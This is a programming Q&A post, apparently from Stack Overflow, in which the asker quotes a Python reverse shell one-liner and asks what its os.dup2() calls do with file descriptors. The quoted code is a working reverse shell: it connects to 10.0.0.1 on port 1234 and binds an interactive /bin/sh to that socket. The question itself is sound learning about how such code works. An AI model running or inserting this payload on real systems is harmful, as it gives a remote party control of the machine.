title: What does os.dup2() do in a python reverse shell when used with the socket?
body: <pre class="lang-py prettyprint-override"><code>import socket,subprocess,os;
  
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  s.connect((&quot;10.0.0.1&quot;,1234));
  os.dup2(s.fileno(),0);
  os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
  p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);
  </code></pre>
  <p>I Know this creates a TCP socket that connects to 10.0.0.1 on port 1234. I have a question though.</p>
  <p>What do the <code>os.dup2()</code>s do in this case? I know they have to do with file descriptors and that <code>0</code> is <code>STDIN</code>, <code>1</code> is <code>STDOUT</code> and <code>2</code> is <code>STDERR</code>, but I don't know what that does here.</p>